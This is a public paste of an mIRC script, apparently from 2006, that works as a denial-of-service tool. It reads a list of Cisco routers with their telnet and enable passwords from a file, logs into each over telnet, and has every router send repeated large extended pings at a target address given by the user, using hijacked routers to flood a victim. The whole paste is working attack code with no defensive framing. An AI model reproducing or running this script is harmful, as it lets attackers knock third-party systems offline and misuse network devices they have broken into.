All pastes #165542 Raw Edit

talim

public text v1 · immutable
·published 2006-09-09 23:16 UTC
rendered paste body
alias start {
  var %i = 1
  hadd -m dos target $1
  while ($read(cisco.txt, %i)) {
    tokenize 32 $ifmatch
    if ($3) {
      sockopen dos_ $+ %i $1 23
    }
    inc %i
  }
  echo -a Starting, target: $hget(dos, target)
}

on *:sockopen:dos*: {
  if (!$sockerr) && ($sock($sockname)) {
    tokenize 32 $read(cisco.txt, $gettok($sockname, 2, 95)) $hget(dos, target)
    sockwrite $sockname $+($2, $crlf, enable, $crlf, $3, $crlf)
    sockwrite $sockname $+(ping, $crlf, ip, $crlf, $4, $crlf)
    sockwrite $sockname $+(5000, $crlf,  5000, $crlf, 0, $crlf, n, $crlf, n, $crlf)
  }
}

on *:sockread:dos*: {
  if (!$sockerr) && ($sock($sockname)) {
    sockread -t %data
    if ($sockbr) {
      if (*..* iswm %data) {
        echo -s %data
      }
    }
  }
}

alias stop {
  sockclose dos*
  hfree dos
}